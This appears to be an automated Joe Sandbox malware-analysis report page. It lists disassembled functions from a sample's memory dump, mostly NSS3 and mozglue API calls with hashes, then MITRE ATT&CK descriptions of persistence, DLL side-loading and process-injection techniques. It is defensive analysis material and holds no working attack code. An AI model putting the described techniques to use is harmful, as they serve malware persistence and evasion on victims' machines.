Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: c3277825ba5101936556e7b2728d6bd3d11367e05a6e43c53cc31f6ef9915d2c
Instruction ID: ccf35aca1f011db46b7ce4d159aa53f8a61c1a2caa0ebcb573cdf57881b8fb4a
Opcode Fuzzy Hash: c3277825ba5101936556e7b2728d6bd3d11367e05a6e43c53cc31f6ef9915d2c
Instruction Fuzzy Hash: 8CF096B270616177FA1025BA6C0DE7739ACDB416FCB150231BD29C66C0D952DD0181F3

Function 6CC1AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CC05D40,00000000,?,?,6CBF6AC6,6CC0639C), ref: 6CC1AC2D

Part of subcall function 6CBBADC0: TlsGetValue.KERNEL32(?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE10
Part of subcall function 6CBBADC0: EnterCriticalSection.KERNEL32(?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE24
Part of subcall function 6CBBADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CB9D079,00000000,00000001), ref: 6CBBAE5A
Part of subcall function 6CBBADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE6F
Part of subcall function 6CBBADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE7F
Part of subcall function 6CBBADC0: TlsGetValue.KERNEL32(?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAEB1
Part of subcall function 6CBBADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAEC9

PK11_FreeSymKey.NSS3(?,6CC05D40,00000000,?,?,6CBF6AC6,6CC0639C), ref: 6CC1AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CC05D40,00000000,?,?,6CBF6AC6,6CC0639C), ref: 6CC1AC59
free.MOZGLUE(8CB6FF01,6CBF6AC6,6CC0639C,?,?,?,?,?,?,?,?,?,6CC05D40,00000000,?,6CC0AAD4), ref: 6CC1AC62

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 80d38666492785deb12a011cc62ebc5a30abcf8b4427f0bdc69dd66babdf66d1
Instruction ID: 6a8fab50f427ca813dfd91e00b00fcd2ae57e050d616c8b4fedb99e4df140a7b
Opcode Fuzzy Hash: 80d38666492785deb12a011cc62ebc5a30abcf8b4427f0bdc69dd66babdf66d1
Instruction Fuzzy Hash: B50162B5A04210DFDB00DF16E8D0B5677B8EF4475CF188468E9499FB06E731E949CBA1

Function 6CC00840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCD2F88,6CC00660,00000020,00000000,?,?,6CC02C3D,?,00000000,00000000,?,6CC02A28,00000060,00000001), ref: 6CC00860

Part of subcall function 6CAF4C70: TlsGetValue.KERNEL32(?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4C97
Part of subcall function 6CAF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4CB0
Part of subcall function 6CAF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAF3921,6CCD14E4,6CC3CC70), ref: 6CAF4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6CC02C3D,?,00000000,00000000,?,6CC02A28,00000060,00000001), ref: 6CC00874
EnterCriticalSection.KERNEL32(00000001), ref: 6CC00884
PR_Unlock.NSS3 ref: 6CC008A3

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 630ea55d871b785a9d716c1eddb39598a535d14b0564a429a6ba6c838fe8f38e
Instruction ID: e757bf5c090fc9d7ce2c3308a4f8db78bb3e7de966cabd419c230928b65c8ac7
Opcode Fuzzy Hash: 630ea55d871b785a9d716c1eddb39598a535d14b0564a429a6ba6c838fe8f38e
Instruction Fuzzy Hash: BC014E75F002546BEB012F29EC4595ABB38FB5731DF0A0665EC0852A02FB33E854C7E1

Function 6CC00450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6CC04710,?,000F4240,00000000), ref: 6CC0046B
GetLastError.KERNEL32(?,6CC04710,?,000F4240,00000000), ref: 6CC00479

Part of subcall function 6CC1BF80: TlsGetValue.KERNEL32(00000000,?,6CC0461B,-00000004), ref: 6CC1C244

PR_Unlock.NSS3(40C70845,?,6CC04710,?,000F4240,00000000), ref: 6CC00492
PR_SetError.NSS3(FFFFE89D,00000000,?,6CC04710,?,000F4240,00000000), ref: 6CC004A5

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: 225f8ec473d180bd8060e9a9db759cb76d0b41d70ddaf3fdb0b0d2ac0605adac
Instruction ID: 799cccf3c7094f87f4cb6994151ca65341fafebd956e12289e8295da01498d76
Opcode Fuzzy Hash: 225f8ec473d180bd8060e9a9db759cb76d0b41d70ddaf3fdb0b0d2ac0605adac
Instruction Fuzzy Hash: D7F0E974F147455BEB00AFF69C18B1A33A9AB0120DF068474F80AC7E50FF26E544CA2D

Function 6CC8CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CC8CC61
free.MOZGLUE ref: 6CC8CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CC8CC80
free.MOZGLUE(?), ref: 6CC8CC87

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 485c4ab19df77a0b7e5171938dc1f98793174f08bc35746f0641d57e498bfc55
Instruction ID: 3aec8065d76bfc1b673b96660eb4edd83849a011bd59f520e7ed7999b71e9ccf
Opcode Fuzzy Hash: 485c4ab19df77a0b7e5171938dc1f98793174f08bc35746f0641d57e498bfc55
Instruction Fuzzy Hash: B5E065767006089FCA10EFA9DC88C8777BCEE492703150525E691C3700D232F905CBE1

Function 6CBC4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBC4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CBC4DE6

Strings

%d.%d, xrefs: 6CBC4DDE

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 1369a7c5b664c44e03223de00ce37d41c04e63f845ff5a094add21e2dc6a5200
Instruction ID: c25051d606d3e58b80c3561bf373801e1a6f21f02980a9eb025fc13c03d62df2
Opcode Fuzzy Hash: 1369a7c5b664c44e03223de00ce37d41c04e63f845ff5a094add21e2dc6a5200
Instruction Fuzzy Hash: D031ECB2E042696BEB109BA1AC05BFF7768DF41308F050429ED159B741EB309E05CBA3

Function 6CBC69E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBC6A47
memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CBC6A64

Strings

mYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnk, xrefs: 6CBC6A35

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtilmemcpy
String ID: mYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnkKjQlazPXMma.exeaqzcOYuwBDOmYnk
API String ID: 9930719-1260865712
Opcode ID: 3f2534423fafb53b90a23c4e00cf084fe8f9f47cb59f7d64a5a7641e9d5381c9
Instruction ID: ae8088b9ba821a6c475263fc840ddce1dac4d477da42ea5bd260a0ee4f9b31dc
Opcode Fuzzy Hash: 3f2534423fafb53b90a23c4e00cf084fe8f9f47cb59f7d64a5a7641e9d5381c9
Instruction Fuzzy Hash: 9D110625F002845BDB188AA9DC64BBF7B65DFC1310F15C12DE85A9B781D9309909C792

Function 6CC60900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6CC60917
sqlite3_value_text.NSS3(?), ref: 6CC60923

Part of subcall function 6CB213C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CAF2352,?,00000000,?,?), ref: 6CB21413
Part of subcall function 6CB213C0: memcpy.VCRUNTIME140(00000000,6CAF2352,00000002,?,?,?,?,6CAF2352,?,00000000,?,?), ref: 6CB214C0

Strings

error in %s %s%s%s: %s, xrefs: 6CC60944

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: dda151d89cd2fb58bb63f5afee8ef3b65040fc88b6a8ea155d7ce2d5c5c7b10a
Instruction ID: 41dc6fb784bd42ea707df5c5de11698bcd40216ddc5815a84c545b816534b424
Opcode Fuzzy Hash: dda151d89cd2fb58bb63f5afee8ef3b65040fc88b6a8ea155d7ce2d5c5c7b10a
Instruction Fuzzy Hash: 820125B6E001485FDB009B58EC019BFBB75EFC0208F144028ED486BB11F732AD1487A2

Function 6CC0AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CC0AF78

Part of subcall function 6CB6ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB6ACE2
Part of subcall function 6CB6ACC0: malloc.MOZGLUE(00000001), ref: 6CB6ACEC
Part of subcall function 6CB6ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB6AD02
Part of subcall function 6CB6ACC0: TlsGetValue.KERNEL32 ref: 6CB6AD3C
Part of subcall function 6CB6ACC0: calloc.MOZGLUE(00000001,?), ref: 6CB6AD8C
Part of subcall function 6CB6ACC0: PR_Unlock.NSS3 ref: 6CB6ADC0
Part of subcall function 6CB6ACC0: PR_Unlock.NSS3 ref: 6CB6AE8C
Part of subcall function 6CB6ACC0: free.MOZGLUE(?), ref: 6CB6AEAB

memcpy.VCRUNTIME140(6CCD3084,6CCD02AC,00000090), ref: 6CC0AF94

Strings

SSL, xrefs: 6CC0AF73

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 67c60b147dc853b6a24678f9c953486b429078bc9925b9e8e70f0aa4c8a817ec
Instruction ID: 29542cfc8d273bfa9ba1c1384b3a172bffa49d96ac7b8e978a78c3a3c62eb06b
Opcode Fuzzy Hash: 67c60b147dc853b6a24678f9c953486b429078bc9925b9e8e70f0aa4c8a817ec
Instruction Fuzzy Hash: 3E215CB2305E489ACB00EF91A9633137A70B342688B589119C6194BF25F732B14ADFE2

Function 6CB60F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F1B

Part of subcall function 6CB61370: GetSystemInfo.KERNEL32(?,?,?,?,6CB60936,?,6CB60F20,6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000), ref: 6CB6138F

PR_NewLogModule.NSS3(clock,6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F25

Part of subcall function 6CB61110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CB60936,00000001,00000040), ref: 6CB61130
Part of subcall function 6CB61110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB60936,00000001,00000040), ref: 6CB61142
Part of subcall function 6CB61110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB60936,00000001), ref: 6CB61167

Strings

clock, xrefs: 6CB60F20

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 4844885feeb42015dea5525067d44a4c4c7af09cdac33840f2c38e0c11bec69e
Instruction ID: c02864f2b3bbf37ec4cdb3ee6e092cc26adf60ef9437985283fc1bc5397f23e8
Opcode Fuzzy Hash: 4844885feeb42015dea5525067d44a4c4c7af09cdac33840f2c38e0c11bec69e
Instruction Fuzzy Hash: 72D0123160418865C51166A7DC49B9AB6BCC7C3279F14482AE10982D108A6574EBD67A

Function 6CBD0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CBD0DF5
TlsGetValue.KERNEL32 ref: 6CBD0E2D
TlsGetValue.KERNEL32 ref: 6CBD0E58
TlsGetValue.KERNEL32 ref: 6CBD0E84

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 957d0ffa80925e68fa48e84a7e3688fa691bbd0010ab664e458b83d8b2c2ff96
Instruction ID: 04b96069359fed7fc7dbeed8271db9708dd2aa9ad72b373b83ba285ee04391de
Opcode Fuzzy Hash: 957d0ffa80925e68fa48e84a7e3688fa691bbd0010ab664e458b83d8b2c2ff96
Instruction Fuzzy Hash: C9317E70E453D68BDB10AF39E5846697BB4FF06308F12466DD88887A11EB34E486CB86

Function 6CB2A4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6CB2A468,00000000), ref: 6CB2A4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6CB2A468,00000000), ref: 6CB2A51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB2A468,?,6CB2A468,00000000), ref: 6CB2A545
memcpy.VCRUNTIME140(00000001,6CB2A468,00000001,?,?,?,6CB2A468,00000000), ref: 6CB2A57D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: e1f969e8b18d19f92aa405163bde34ab26d6060cff2974d9f055eb4a8740c1e3
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: F81129B3D0135567DF008AB9DCC16AB7B999F95278F280238ED28877C0F6399D0887E1

Function 6CBD0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB72AF5,?,?,?,?,?,6CB70A1B,00000000), ref: 6CBD0F1A
malloc.MOZGLUE(00000001), ref: 6CBD0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBD0F42
TlsGetValue.KERNEL32 ref: 6CBD0F5B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: e9efb76b9bc15294ed429517ed0a060f7f82fcfae05491e7a357c30b0d83294b
Instruction ID: 1aa240e6d2bbdb80d4f0df0e2f4ac2d0c9c146c1ca2a428941da740da28b5eef
Opcode Fuzzy Hash: e9efb76b9bc15294ed429517ed0a060f7f82fcfae05491e7a357c30b0d83294b
Instruction Fuzzy Hash: 7701D8B1E012D05BEF10273EAD445677ABCEF52259B120125EC1CC2A21EB30E945C6E3

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

